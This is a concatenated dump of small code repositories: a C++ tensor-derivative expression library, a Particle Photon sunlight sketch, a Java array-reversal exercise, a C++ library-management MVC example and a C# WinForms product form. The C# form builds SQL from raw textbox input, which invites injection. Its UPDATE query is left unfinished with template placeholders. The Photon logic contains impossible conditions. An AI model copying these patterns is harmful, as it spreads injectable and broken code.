return lOp.getValue()*rOp.getValue();
}
template <typename L, typename R, typename T1, typename T2>
static auto diff(L lOp, R rOp, T1 var, T2 dVar)
{
auto dLop = lOp.diff(var, dVar);
auto dRop = rOp.diff(var, dVar);
if constexpr(lOp.isDependOn(var) && rOp.isDependOn(var))
return dLop*rOp + lOp*dRop;
else if constexpr(lOp.isDependOn(var) && !rOp.isDependOn(var))
return dLop*rOp;
else if constexpr(!lOp.isDependOn(var) && rOp.isDependOn(var))
return lOp*dRop;
else if constexpr(!lOp.isDependOn(var) && !rOp.isDependOn(var))
return constantZero<result_t<L, R>>::zero();
}
template <typename T1, typename T2>
static std::string getString(T1 lOp, T2 rOp)
{
return "("+ lOp.getString() + "*"+rOp.getString() + ")";
}
};
struct dotOp
{
template <typename L, typename R>
using result_t = double;
template <typename T1, typename T2>
static auto getValue(const T1& lOp, const T2& rOp)
{
static_assert(std::is_same_v<typename T1::result_t, matrix> && std::is_same_v<typename T2::result_t, matrix>, "dot is defined only for a matrices");
return (lOp.getValue().array()*rOp.getValue().array()).sum();
}
template <typename L, typename R, typename T1, typename T2>
static auto diff(L lOp, R rOp, T1 var, T2 dVar) = delete;
template <typename T1, typename T2>
static std::string getString(T1 lOp, T2 rOp)
{
return "("+ lOp.getString() + ":"+rOp.getString() + ")";
}
};
/* This class is for perfomance optimisation of derivative unimodular part of the tensor
* d(uni(X)) = det(X)^(-1)*(-1/3*(X^(-T):dX)X + dX)
* In base class (binaryExpression), lOp stands for X, rOp stands for dX
*/
struct structUnimodularDerHelper
{
template <typename L, typename R>
using result_t = matrix;
template <typename T1, typename T2>
static matrix getValue(const T1& lOp, const T2& rOp)
{
static_assert(std::is_same_v<typename T1::result_t, matrix> && std::is_same_v<typename T2::result_t, matrix>, "dot is defined only for a matrices");
matrix X = lOp.getValue();
matrix dX = rOp.getValue();
return 1.0/std::cbrt(X.determinant())*(-1.0/3.0*((X.inverse().transpose().array()*dX.array()).sum())*X+dX);
}
template <typename L, typename R, typename T1, typename T2>
static auto diff(L lOp, R rOp, T1 var, T2 dVar) = delete;
template <typename T1, typename T2>
static std::string getString(T1 lOp, T2 rOp)
{
return "(det(" + lOp.getString() +")^(-1)*((-1/3*("+lOp.getString()+"^-T :" + rOp.getString() +")*"+lOp.getString()+")"+rOp.getString()+ ")";
}
};
/* This class is for perfomance optimisation of derivative inverse of the tensor
* d(X^-1) = -X^-1*dX*X^-1
* In base class (binaryExpression), lOp stands for X, rOp stands for dX
*/
struct structInverseDerHelper
{
template <typename L, typename R>
using result_t = matrix;
template <typename T1, typename T2>
static matrix getValue(const T1& lOp, const T2& rOp)
{
static_assert(std::is_same_v<typename T1::result_t, matrix> && std::is_same_v<typename T2::result_t, matrix>, "dot is defined only for a matrices");
matrix XInv = lOp.getValue().inverse();
matrix dX = rOp.getValue();
return -XInv*dX*XInv;
}
template <typename L, typename R, typename T1, typename T2>
static auto diff(L lOp, R rOp, T1 var, T2 dVar) = delete;
template <typename T1, typename T2>
static std::string getString(T1 lOp, T2 rOp)
{
return "(-"+lOp.getString()+ "^(-1)*"+rOp.getString() + "*" + lOp.getString() + "^(-1))";
}
};
template <typename T1, typename T2, typename Op>
struct is_expression<binaryExpression<T1, T2, Op>> : std::true_type {};
template <expression_type T1, expression_type T2>
auto dot(T1 lOp, T2 rOp)
{
static_assert(std::is_same_v<typename T1::result_t, matrix> && std::is_same_v<typename T2::result_t, matrix>, "dot is defined only for a matrices");
return binaryExpression<T1, T2, dotOp> {lOp, rOp};
}
template <expression_type T1, expression_type T2>
auto operator*(T1 lOp, T2 rOp)
{
return binaryExpression<T1, T2, multOp> {lOp, rOp};
}
template <expression_type T1, expression_type T2>
auto operator+(T1 lOp, T2 rOp)
{
static_assert(std::is_same_v<typename T1::result_t, typename T2::result_t>, "addition is defined only for the same types");
return binaryExpression<T1, T2, addOp> {lOp, rOp};
}
template <expression_type T1, expression_type T2>
auto operator-(T1 lOp, T2 rOp)
{
static_assert(std::is_same_v<typename T1::result_t, typename T2::result_t>, "sustraction is defined only for the same types");
return binaryExpression<T1, T2, substractionOp> {lOp, rOp};
}
}
<file_sep>/README.md
# About
C++ code for differentiation of tensor-argument functions. Only gateaux derivative is presented.
## Details
All variable are distinguished only by a symbol, but not a type (only 256 different variables), i.e.: in
variable<matrix, 'A'> var1;
variable<matrix, 'A'> var2;
`var1` and `var2` are equivalent, because both are 'A'.
diff is a GATEAUX differential:
`d.diff(b, c)` is the same like (\partial d)/(\partial b):db (with db = c)
Now, you cant write like this: 3.141*some_expression. You shall write like this: constant<double>{3.141}*some_expression
All available at this moment operations are presented in binary_expression.h and unary_expression.h
<file_sep>/expression/expression.h
#ifndef EXPRESSION_H_INCLUDED
#define EXPRESSION_H_INCLUDED
namespace my::expression
{
template <typename T>
struct is_expression : std::false_type {};
template <typename T>
inline const bool is_expression_v = is_expression<T>::value;
template <typename T>
concept expression_type = is_expression_v<T>;
template <typename T>
struct constantZero;
template <typename type>
struct constant
{
using type_t = type;
using result_t = type_t;
type value;
constexpr type getValue() const
{
return value;
}
template <typename ... args_t>
constexpr auto setTo(args_t ...) const
{
return constant<type> {value};
}
template <typename ... vars_t>
static constexpr auto diff(vars_t ...)
{
return constantZero<type_t>::zero();
}
std::string getString() const
{
return std::to_string(value);
}
template <typename T>
static consteval bool isDependOn(T)
{
return false;
}
};
template <typename T>
struct constantZero
{
static constexpr auto zero()
{
return constant<T> {0};
}
};
template <>
struct constantZero<matrix>
{
static auto zero()
{
return constant<matrix> {matrix::Zero()};
}
};
template <typename type, char ix>
struct settedVar
{
using type_t = type;
static const char ix_v = ix;
type value;
};
template <typename type, char ix>
struct variable
{
using type_t = type;
using result_t = type_t;
static const char ix_v = ix;
constexpr settedVar<type_t, ix_v> operator()(const type& val) const
{
return settedVar<type_t, ix_v> {val};
}
template <typename T, char IX, typename ... over>
constexpr auto setTo(const settedVar<T, IX>& var, const over& ... overVars) const
{
if constexpr(IX == ix_v)
return constant<type> {var.value};
else
return setTo(overVars...);
}
template<typename T, char IX>
constexpr auto setTo(const settedVar<T, IX>& var) const
{
if constexpr(IX == ix_v)
return constant<type> {var.value};
else
return *this;
}
template <typename T1, typename T2>
static constexpr auto diff(T1 var, T2 dVar)
{
static_assert(dVar.ix_v != ix_v, "dVar have to be not presented in expression");
if constexpr(var.ix_v == ix_v)
{
static_assert(std::is_same<typename T1::type_t, type_t>::value, "var.type_t and this::type_t have to be the same");
return dVar;
}
else
return constantZero<type_t>::zero();
}
static std::string getString()
{
char res[2] = {ix, '\0'};
return std::string(res);
}
template <typename typeIn, char N>
static consteval bool isDependOn(variable<typeIn, N>)
{
//variable chech have to be agreed: only by a char or by char and type
//if(std::is_same_v<typeIn, type_t> && N == ix_v)
if(N == ix_v)
return true;
else
return false;
}
};
template <typename T, char Ix>
struct is_expression<variable<T, Ix>> : std::true_type {};
template <typename T>
struct is_expression<constant<T>> : std::true_type {};
}
#endif
<file_sep>/expression/unary_expression.h
namespace my::expression
{
template <typename T, typename OP>
struct unaryExpression
{
T op;
using result_t = typename OP::template result_t<T>;
template <typename ... vars_t>
auto setTo(const vars_t&... vars) const
{
using t = decltype(op.setTo(vars...));
return unaryExpression<t, OP> {op.setTo(vars...)};
}
auto getValue() const
{
return OP::getValue(op);
}
template <typename T1, typename T2>
auto diff(T1 var, T2 dVar)
{
if constexpr(T::isDependOn(var))
return OP::diff(op, var, dVar);
else
return constantZero<result_t>::zero();
}
std::string getString()
{
return OP::getString(op);
}
template <typename typeIn, char N>
static consteval bool isDependOn(variable<typeIn, N> in)
{
return T::isDependOn(in);
}
};
struct transposeOp
{
template <typename T>
using result_t = typename T::result_t;
template <typename T1>
static auto getValue(const T1& Op)
{
static_assert(std::is_same_v<matrix, typename T1::result_t>, "argument have to be matrix Eigen::Matrix3d");
return static_cast<matrix>(Op.getValue().transpose().eval());
}
template <typename T, typename T1, typename T2>
static constexpr auto diff(T Op, T1 var, T2 dVar)
{
auto dOp = Op.diff(var, dVar);
return unaryExpression<decltype(dOp), transposeOp> {dOp};
}
template <typename T>
static std::string getString(T Op)
{
return Op.getString() + "^T";
}
};
struct devOp
{
template <typename T>
using result_t = typename T::result_t;
template <typename T1>
static auto getValue(const T1& Op)
{
static_assert(std::is_same_v<matrix, typename T1::result_t>, "argument have to be matrix Eigen::Matrix3d");
auto tmp = Op.getValue();
return static_cast<matrix>(tmp - (1.0/3.0)*tmp.trace()*matrix::Identity());
}
template <typename T, typename T1, typename T2>
static constexpr auto diff(T Op, T1 var, T2 dVar)
{
auto dOp = Op.diff(var, dVar);
return unaryExpression<decltype(dOp), devOp> {dOp};
}
template <typename T>
static std::string getString(T Op)
{
return Op.getString() + "^D";
}
};
struct traceOp
{
template <typename T>
using result_t = double;
template <typename T1>
static auto getValue(const T1& Op)
{
static_assert(std::is_same_v<matrix, typename T1::result_t>, "argument have to be matrix Eigen::Matrix3d");
auto tmp = Op.getValue();
return tmp.trace();
}
template <typename T, typename T1, typename T2>
static constexpr auto diff(T Op, T1 var, T2 dVar)
{
auto dOp = Op.diff(var, dVar);
return unaryExpression<decltype(dOp), traceOp> {dOp};
}
template <typename T>
static std::string getString(T Op)
{
return Op.getString() + "^D";
}
};
//note: is defined only for matrices now. Edit diff in unimodOp, when this will be extender upon double
struct inverseOp
{
template <typename T>
using result_t = typename T::result_t;
template <typename T1>
static auto getValue(const T1& Op)
{
static_assert(std::is_same_v<matrix, typename T1::result_t>, "argument have to be matrix Eigen::Matrix3d");
return Op.getValue().inverse().eval();
}
template <typename T, typename T1, typename T2>
static auto diff(T Op, T1 var, T2 dVar)
{
auto dOp = Op.diff(var, dVar);
return binaryExpression<T, decltype(dOp), structInverseDerHelper> {Op, dOp};
//return constant<double> {-1.0}*inverse(Op)*dOp*inverse(Op);
}
template <typename T>
static std::string getString(T Op)
{
return Op.getString() + "^-1";
}
};
struct cbrtOp
{
template <typename T>
using result_t = double;
template <typename T1>
static auto getValue(T1 Op)
{
static_assert(std::is_same_v<double, typename T1::result_t>, "argument have to be double");
return std::cbrt(Op.getValue());
}
template <typename T, typename T1, typename T2>
static auto diff(T Op, T1 var, T2 dVar) = delete;
template <typename T>
static std::string getString(T Op)
{
return "cbrt(" + Op.getString() + ")";
}
};
struct unimodOp
{
template <typename T>
using result_t = typename T::result_t;
template <typename T1>
static matrix getValue(const T1& Op)
{
static_assert(std::is_same_v<matrix, typename T1::result_t>, "argument have to be matrix Eigen::Matrix3d");
auto tmp = Op.getValue();
return tmp/std::cbrt(tmp.determinant());
}
template <typename T, typename T1, typename T2>
static constexpr auto diff(T Op, T1 var, T2 dVar)
{
auto dOp = Op.diff(var, dVar);
return binaryExpression<T, decltype(dOp), structUnimodularDerHelper> {Op, dOp};
//return cbrt(det(inverse(Op)))*(constant<double> {-1.0/3.0}*dot(transpose(inverse(Op)), dOp)*Op + dOp);
}
template <typename T>
static std::string getString(T Op)
{
return Op.getString() + "^U";
}
};
struct detOp
{
template <typename T>
using result_t = double;
template <typename T1>
static auto getValue(const T1& Op)
{
static_assert(std::is_same_v<matrix, typename T1::result_t>, "argument have to be matrix Eigen::Matrix3d");
return Op.getValue().determinant();
}
template <typename T, typename T1, typename T2>
static constexpr auto diff(T Op, T1 var, T2 dVar)
{
auto dOp = Op.diff(var, dVar);
return det(Op)*dot(transpose(inverse(Op)), dOp);
}
template <typename T>
static std::string getString(T Op)
{
return "det(" + Op.getString() + ")";
}
};
struct expOp
{
template <typename T>
using result_t = double;
template <typename T1>
static double getValue(const T1 Op)
{
static_assert(std::is_same_v<double, typename T1::result_t>, "exp. argument have to be a double");
return std::exp(Op.getValue());
}
template <typename T, typename T1, typename T2>
static constexpr auto diff(T Op, T1 var, T2 dVar)
{
auto dOp = Op.diff(var, dVar);
return exp(Op)*dOp;
}
template <typename T>
static std::string getString(T Op)
{
return "exp(" + Op.getString() + ")";
}
};
template <typename T, typename Op>
struct is_expression<unaryExpression<T, Op>> : std::true_type {};
template <expression_type T>
auto transpose(T Op)
{
static_assert(std::is_same_v<matrix, typename T::result_t>, "transposion is defined only for a matrices");
return unaryExpression<T, transposeOp> {Op};
}
template <expression_type T>
auto dev(T Op)
{
static_assert(std::is_same_v<matrix, typename T::result_t>, "transposion is defined only for a matrices");
return unaryExpression<T, devOp> {Op};
}
template <expression_type T>
auto trace(T Op)
{
static_assert(std::is_same_v<matrix, typename T::result_t>, "transposion is defined only for a matrices");
return unaryExpression<T, traceOp> {Op};
}
template <expression_type T>
auto inverse(T Op)
{
static_assert(std::is_same_v<matrix, typename T::result_t>, "inverion YET is defined only for a matrices");
return unaryExpression<T, inverseOp> {Op};
}
template <expression_type T>
auto cbrt(T Op)
{
static_assert(std::is_same_v<double, typename T::result_t>, "root is defined only for a double");
return unaryExpression<T, cbrtOp> {Op};
}
template <expression_type T>
auto unimod(T Op)
{
static_assert(std::is_same_v<matrix, typename T::result_t>, "unimodular part is defined only for a matrices");
return unaryExpression<T, unimodOp> {Op};
}
template <expression_type T>
auto det(T Op)
{
static_assert(std::is_same_v<matrix, typename T::result_t>, "determinant is defined only for a matrices");
return unaryExpression<T, detOp> {Op};
}
template <expression_type T>
auto exp(T Op)
{
static_assert(std::is_same_v<double, typename T::result_t>, "exp is defined only for a matrices");
return unaryExpression<T, expOp> {Op};
}
}
|
0557e93f3fd17878244f669222408fcfd40ef9eb
|
[
"Markdown",
"C++"
] | 4 |
C++
|
bE554357/expression
|
974e581502c79e271adf6c446f88df561033ca02
|
cc6abe453cfa03e2a57b230ad351bfb814074f51
|
refs/heads/master
|
<file_sep>void setup() {
Time.zone(+10);
}
int analogValue;
int tValue;
int counter=0;
int totalSun=0;
bool on=false;
bool daily=false;//has todays finished?
void loop()
{
analogValue = analogRead(A0);
tValue = Time.minute();
if (analogValue>700 & tValue>480 & tValue<960)
{
Particle.publish("sun_on_plant", PRIVATE);
on=true;
}
if (tValue<480 & tValue>960)
{
on=false;
daily=false;
totalSun=0;
counter=0;
}
if (on==true & daily==false)
{
totalSun+=analogValue;
counter++;
}
if (counter>=1440&daily==false)
{
if (totalSun>=100800)
{
Particle.publish("sun_off_plant","0", PRIVATE);
}
else
{
Particle.publish("sun_off_plant",String((totalSun/700)/12), PRIVATE);
}
daily= true;
}
delay(5000); //wait 5 seconds
}
|
779292625401823e0fd09dcbf3d3db79455193da
|
[
"C++"
] | 1 |
C++
|
Hazzer11/PhotonIFTTT
|
11948fd9f28726ef08a1a1d694c90e60ebdf60f9
|
c6ec18d78c04284ce3e68e27eddd24c1f2cc7bf4
|
refs/heads/master
|
<repo_name>maked0n/MVC_example<file_sep>/cview.hpp
#ifndef CVIEW_HPP
#define CVIEW_HPP
#include <iostream>
class CView {
private:
static void _input_invitation() {
std::cout << "> ";
}
public:
static void show_greeting() {
std::cout << "Hello! Type help for instructions on how to use this utility."
<< "Type source <number> to select the data source." << std::endl;
_input_invitation();
}
static void show_message(const std::string& message) {
std::cout << message << std::endl;
_input_invitation();
}
static void show_help() {
std::cout << "Help: " << std::endl
<< "- useradd <username> - add user to the system" << std::endl
<< "- bookadd <bookname> - add book to the system" << std::endl
<< "- give <username> <bookname> - give the specified book to the specified user" << std::endl
<< "- return <username> <bookname> - make the specified user return the specified book" << std::endl
<< "- show debtors - show all debtors" << std::endl
<< "- show users - show all users" << std::endl
<< "- show books - show all books" << std::endl
<< "- source <number> - select data source" << std::endl
<< "- quit - quit program" << std::endl;
_input_invitation();
}
static void show_error(const std::string& error) {
std::cerr << error << std::endl;
_input_invitation();
}
};
#endif //CVIEW_HPP
<file_sep>/main.cpp
#include "ccontroller.hpp"
int main(int argc, char** argv) {
CController controller;
int ret = 1;
do {
try {
std::string command;
std::getline(std::cin, command);
ret = controller.parse_command(command);
} catch(IException* e) {
std::cerr << e->what() << std::endl;
ret = controller.parse_command("help");
}
} while(ret == 1);
return 0;
}
<file_sep>/exception.hpp
#ifndef EXCEPTION_HPP
#define EXCEPTION_HPP
#include <string>
class IException {
public:
virtual std::string what() const = 0;
};
class ExLimitExceeded : public IException {
public:
virtual std::string what() const {
return "This user has too many books.";
}
};
class ExNoBook : public IException {
public:
virtual std::string what() const {
return "This user doesn't have such book.";
}
};
class ExUnknownCommand : public IException {
public:
virtual std::string what() const {
return "No such command.";
}
};
class ExUnknownSource : public IException {
public:
virtual std::string what() const {
return "Unknown source.";
}
};
#endif //EXCEPTION_HPP
<file_sep>/ccontroller.hpp
#ifndef CCONTROLLER_HPP
#define CCONTROLLER_HPP
#include <map>
#include <utility>
#include <string>
#include <stdexcept>
#include <sstream>
#include "cusermodel.hpp"
#include "cview.hpp"
#include "cdatasource.hpp"
class CController {
private:
std::map<std::string, CUserModel*> m_users;
std::map<std::string, CBookModel*> m_books;
IDataSource* m_source;
void _add_book(const std::string& name) {
m_books.insert(std::make_pair(name, new CBookModel(name)));
}
void _add_user(const std::string& name) {
m_users.insert(std::make_pair(name, new CUserModel(name)));
}
void _give_book(const std::string& username, const std::string& bookname) {
try {
m_users.at(username)->take_book(m_books.at(bookname));
CView::show_message("The book " + bookname + " was given to " + username);
} catch(const std::out_of_range& e) {
CView::show_error("No such book or user.");
}
}
void _return_book(const std::string& username, const std::string& bookname) {
try {
m_users.at(username)->return_book(m_books.at(bookname));
CView::show_message(username + " returned the " + bookname);
} catch(const std::out_of_range& e) {
CView::show_error("No such book or user.");
}
}
void _load_source(IDataSource* source) {
if(m_source) CView::show_error("You have already chosen one source");
else {
m_source = source;
std::vector<std::string> books;
m_source->load_data(books);
for(size_t i = 0; i < books.size(); ++i)
_add_book(books[i]);
CView::show_message("Successfuly");
}
}
public:
CController() : m_source(NULL) { CView::show_greeting(); }
int parse_command(const std::string& input) {
std::istringstream stream(input);
std::string tmp;
stream >> tmp;
if(tmp == "useradd") {
stream >> tmp;
_add_user(tmp);
CView::show_message("User " + tmp + " added");
}
else if(tmp == "bookadd") {
stream >> tmp;
_add_book(tmp);
CView::show_message("Book " + tmp + " added");
}
else if(tmp == "give") {
std::string bookname;
stream >> tmp >> bookname;
_give_book(tmp, bookname);
}
else if(tmp == "return") {
std::string bookname;
stream >> tmp >> bookname;
_return_book(tmp, bookname);
}
else if(tmp == "show") {
stream >> tmp;
if(tmp == "debtors") {
std::string users = "";
for(auto iter = m_users.begin(); iter != m_users.end(); ++iter)
if((*iter).second->has_debt()) users += (*iter).first + "\n";
CView::show_message(users);
}
else if(tmp == "users") {
std::string users = "";
for(auto iter = m_users.begin(); iter != m_users.end(); ++iter)
users += (*iter).first + "\n";
CView::show_message(users);
}
else if(tmp == "books") {
std::string books = "";
for(auto iter = m_books.begin(); iter != m_books.end(); ++iter)
books += (*iter).first + "\n";
CView::show_message(books);
}
else throw new ExUnknownCommand;
}
else if(tmp == "source") {
stream >> tmp;
if(tmp == "1") _load_source(new CDataSourceFirst);
else if(tmp == "2") _load_source(new CDataSourceSecond);
else if(tmp == "3") _load_source(new CDataSourceThird);
else throw new ExUnknownSource;
}
else if(tmp == "help") {
CView::show_help();
}
else if(tmp == "quit") {
return 0;
}
else throw new ExUnknownCommand;
return 1;
}
~CController() {
for(auto iter = m_users.begin(); iter != m_users.end(); ++iter)
delete (*iter).second;
for(auto iter = m_books.begin(); iter != m_books.end(); ++iter)
delete (*iter).second;
delete m_source;
}
};
#endif //CCONTROLLER_HPP
<file_sep>/cdatasource.hpp
#ifndef CDATASOURCE_HPP
#define CDATASOURCE_HPP
#include <vector>
#include <string>
class IDataSource {
public:
virtual void load_data(std::vector<std::string>& output) = 0;
};
class CDataSourceFirst : public IDataSource {
public:
virtual void load_data(std::vector<std::string>& output) {
output.reserve(3);
output.push_back("first_book_first_source");
output.push_back("second_book_first_source");
output.push_back("third_book_first_source");
}
};
class CDataSourceSecond : public IDataSource {
public:
virtual void load_data(std::vector<std::string>& output) {
output.reserve(3);
output.push_back("first_book_second_source");
output.push_back("second_book_second_source");
output.push_back("third_book_second_source");
}
};
class CDataSourceThird : public IDataSource {
public:
virtual void load_data(std::vector<std::string>& output) {
output.reserve(3);
output.push_back("first_book_third_source");
output.push_back("second_book_third_source");
output.push_back("third_book_third_source");
}
};
#endif //CDATASOURCE_HPP
<file_sep>/README.md
# MVC example
This example demonstrates the MVC pattern.
<file_sep>/cusermodel.hpp
#ifndef CUSERMODEL_HPP
#define CUSERMODEL_HPP
#include <vector>
#include <utility>
#include <ctime>
#include <iterator>
#include <cmath>
#include "exception.hpp"
#include "cbookmodel.hpp"
typedef std::vector<std::pair<std::time_t, CBookModel*>> books_t;
typedef std::vector<std::pair<std::time_t, CBookModel*>>::const_iterator books_iter;
class CUserModel {
private:
static constexpr unsigned int MAX_BOOKS = 3;
static constexpr unsigned int MAX_TIME = 2592000; //one month (30 days) in seconds
books_t m_books;
std::string m_username;
unsigned int _time_delta(std::time_t first, std::time_t second) const {
return std::abs(first - second);
}
public:
CUserModel() = delete;
CUserModel(const std::string& username) : m_username(username) {
m_books.reserve(MAX_BOOKS);
}
void take_book(CBookModel* book) {
if(m_books.size() == MAX_BOOKS) throw new ExLimitExceeded;
std::time_t cur_date = std::time(NULL);
m_books.push_back(std::make_pair(cur_date, book));
book->taken();
}
void return_book(CBookModel* book) {
for(books_iter iter = m_books.begin(); iter != m_books.end(); ++iter) {
if((*iter).second == book) {
m_books.erase(iter);
book->returned();
break;
}
}
if(book->is_taken()) throw new ExNoBook;
}
bool has_debt() const {
for(books_iter iter = m_books.begin(); iter != m_books.end(); ++iter)
if(_time_delta((*iter).first, std::time(NULL)) > MAX_TIME) return true;
return false;
}
};
#endif //CUSERMODEL_HPP
<file_sep>/cbookmodel.hpp
#ifndef CBOOKMODEL_HPP
#define CBOOKMODEL_HPP
#include <string>
class CBookModel {
private:
std::string m_name;
bool m_used;
public:
CBookModel() = delete;
CBookModel(const std::string& name) : m_name(name), m_used(false) {}
std::string get_name() const { return m_name; }
void taken() { m_used = true; }
void returned() { m_used = false; }
bool is_taken() const { return m_used; }
};
#endif //CBOOKMODEL_HPP
|
e40b29fe76b922fca6d02042ec854e917636efdb
|
[
"Markdown",
"C++"
] | 8 |
C++
|
maked0n/MVC_example
|
4940ce6183632d0046958478e251e70cb2a87f7d
|
e15b08cfc235ecd25c881bde44e96bbd3f6539fe
|
refs/heads/main
|
<file_sep># FuturEdu
Website to teach people technology!
<file_sep>import React from "react";
const Card = props => {
return(
<div className="card text-center p-2" id="topicCard">
<img src={props.image} className="card-image" alt={"Image of "+props.topic} />
<div className="card-image-overlay">
<h5 className="card-title">{props.topic}</h5>
<button
className="btn m-2"
data-toggle="collapse"
data-target={"#details"+props.id}
aria-expanded="false"
aria-controls={"details"+props.id}
>
More Info
</button>
<div className="collapse" id={"details"+props.id}>
<div>
<p className="card-text">{props.description}</p>
<p className="card-text">{props.prerequisites}</p>
</div>
</div>
</div>
</div>
)
}
export default Card;
|
51a67cb83d97167b96b4adbb289e6d47d719b920
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
NeerajChouhan7/FuturEdu
|
54db7a1eb62038b20a750c7f012db948a6b32de8
|
05d5b9f627c6cf13ae2e94434e2924869ccbf478
|
refs/heads/master
|
<repo_name>phass/SomeJavaCode<file_sep>/test/pkg14/pkg11/pkg21/MainTest.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pkg14.pkg11.pkg21;
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import static org.junit.Assert.*;
/**
*
* @author phass
*/
public class MainTest {
public MainTest() {
}
@BeforeClass
public static void setUpClass() {
}
@AfterClass
public static void tearDownClass() {
}
@Before
public void setUp() {
}
@After
public void tearDown() {
}
/**
* Test of reverse method, of class Main.
*/
@Test
public void testReverse() {
System.out.println("reverse");
int[] t = {2,3,4,5,6,7,8,9,10};
int[] expResult = {10,9,8,7,6,5,4,3,2};
int[] result = Main.reverse(t);
assertArrayEquals(expResult, result);
}
}
<file_sep>/src/pkg14/pkg11/pkg21/Main.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pkg14.pkg11.pkg21;
import java.util.Arrays;
/**
*
* @author phass
*/
public class Main {
static int [] reverse (int [] t) {
assert 0 <= t.length;
int l = t.length;
if (l % 2 == 0) {
l = (l / 2);
} else {
l = (l / 2);
}
int n;
for (int i = 0; i < l; i++) {
n = t[i];
t[i] = t[t.length - 1 - i];
t[t.length - 1 - i] = n;
}
return t;
}
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
int [] t = {2,3,4,5,6,7,8};
System.err.println(Arrays.toString(t) + " l: " + t.length);
System.out.println(Arrays.toString(reverse(t)) + " reversed");
}
}
|
ffc19507ab07e49b82fcd0da576dd63415a2da8a
|
[
"Java"
] | 2 |
Java
|
phass/SomeJavaCode
|
4facb2c26989c8a46f361b3782d56070f60f3b56
|
21d30329e7b15c726aa37cdfb7cffa099fa18a08
|
refs/heads/master
|
<repo_name>flysouls/http-trick<file_sep>/bin/createRootCA.js
const {createRootSecurityContext} = require('../src/service/certificationService');
const fileUtils = require("../src/utils/file");
let {keyPem, certPem} = createRootSecurityContext();
// 写文件
fileUtils.writeFile('root.key', keyPem)
fileUtils.writeFile('root.cert', certPem)
|
ebe12fd34a2a4e279832ca9caf3556ff56d3b454
|
[
"JavaScript"
] | 1 |
JavaScript
|
flysouls/http-trick
|
fbdec72a86e7b7377a130400012dc9e2bbec6c3b
|
ae294e1624543ae82406b797801c5787782913b5
|
refs/heads/master
|
<repo_name>burakaykan/SistemAnaliziOtomasyon<file_sep>/SistemAnaliziOtomasyon/Urunler.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace SistemAnaliziOtomasyon
{
public partial class Urunler : Form
{
public Urunler()
{
InitializeComponent();
}
private void Urunler_Load(object sender, EventArgs e)
{
Durumcombo.SelectedIndex = 0;
urunbirimicombo.SelectedIndex = 0;
LoadData();
}
private void eklebtn_Click(object sender, EventArgs e)
{
SqlConnection con = new SqlConnection(@"Data Source=.\SQLExpress;Initial Catalog=OTomasyon;Integrated Security=True");
// Insert Logic
con.Open();
bool durum = false;
if (Durumcombo.SelectedIndex == 0)
{
durum = true;
}
else
{
durum = false;
}
var sqlQuery = "";
if (UrunVarsa())
{
//Burasını kontrol et tamamlamadın [ProductName] = // <ProductName, varchar(150),>// yerine '" + urunaditxtbx.Text + "' gelecek ve diğerlerinde de
sqlQuery = @"UPDATE [Products] SET [ProductName] = <ProductName, varchar(150),>
,[ProductStatus] = <ProductStatus, bit,>
,[ProductQuantity] = <ProductQuantity, int,>
,[ProductUnit] = <ProductUnit, varchar(50),>
WHERE [ProductCode] = '" + urunkodutxtbx.Text + "'";
}
else
{
sqlQuery = @"INSERT INTO [dbo].[Products] ([ProductCode],[ProductName],[ProductStatus],[ProductQuantity],[ProductUnit])
VALUES
('" + urunkodutxtbx.Text + "','" + urunaditxtbx.Text + "','" + durum + "','" + urunmiktaritxtbx.Text + "','" + Convert.ToString(urunbirimicombo.SelectedIndex) + "')";
}
SqlCommand cmd = new SqlCommand(sqlQuery, con);
cmd.ExecuteNonQuery();
con.Close();
//Reading Data
LoadData();
}
private bool UrunVarsa()
{
return true;
}
public void LoadData()
{
SqlConnection con = new SqlConnection(@"Data Source=.\SQLExpress;Initial Catalog=OTomasyon;Integrated Security=True");
SqlDataAdapter sda = new SqlDataAdapter("Select * From [dbo].[Products]", con);
DataTable dt = new DataTable();
sda.Fill(dt);
dataGridView1.Rows.Clear();
foreach (DataRow item in dt.Rows)
{
int n = dataGridView1.Rows.Add();
dataGridView1.Rows[n].Cells[0].Value = item["ProductCode"].ToString();
dataGridView1.Rows[n].Cells[1].Value = item["ProductName"].ToString();
if ((bool)item["ProductStatus"])
{
dataGridView1.Rows[n].Cells[2].Value = "Aktif";
}
else
{
dataGridView1.Rows[n].Cells[2].Value = "Pasif";
}
dataGridView1.Rows[n].Cells[3].Value = item["ProductQuantity"].ToString();
dataGridView1.Rows[n].Cells[4].Value = item["ProductUnit"].ToString();
}
}
private void dataGridView1_MouseDoubleClick(object sender, MouseEventArgs e)
{
urunkodutxtbx.Text = dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
urunaditxtbx.Text = dataGridView1.SelectedRows[0].Cells[1].Value.ToString();
if (dataGridView1.SelectedRows[0].Cells[2].Value.ToString() == "Aktif")
{
Durumcombo.SelectedIndex = 0;
}
else
{
Durumcombo.SelectedIndex = 1;
}
urunmiktaritxtbx.Text = dataGridView1.SelectedRows[0].Cells[3].Value.ToString();
if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Metre")
{
urunbirimicombo.SelectedIndex = 0;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Santimetre")
{
urunbirimicombo.SelectedIndex = 1;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Kilogram")
{
urunbirimicombo.SelectedIndex = 2;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Gram")
{
urunbirimicombo.SelectedIndex = 3;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Ton")
{
urunbirimicombo.SelectedIndex = 4;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "M ^ 3")
{
urunbirimicombo.SelectedIndex = 5;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "M ^ 2")
{
urunbirimicombo.SelectedIndex = 6;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Tane")
{
urunbirimicombo.SelectedIndex = 7;
}
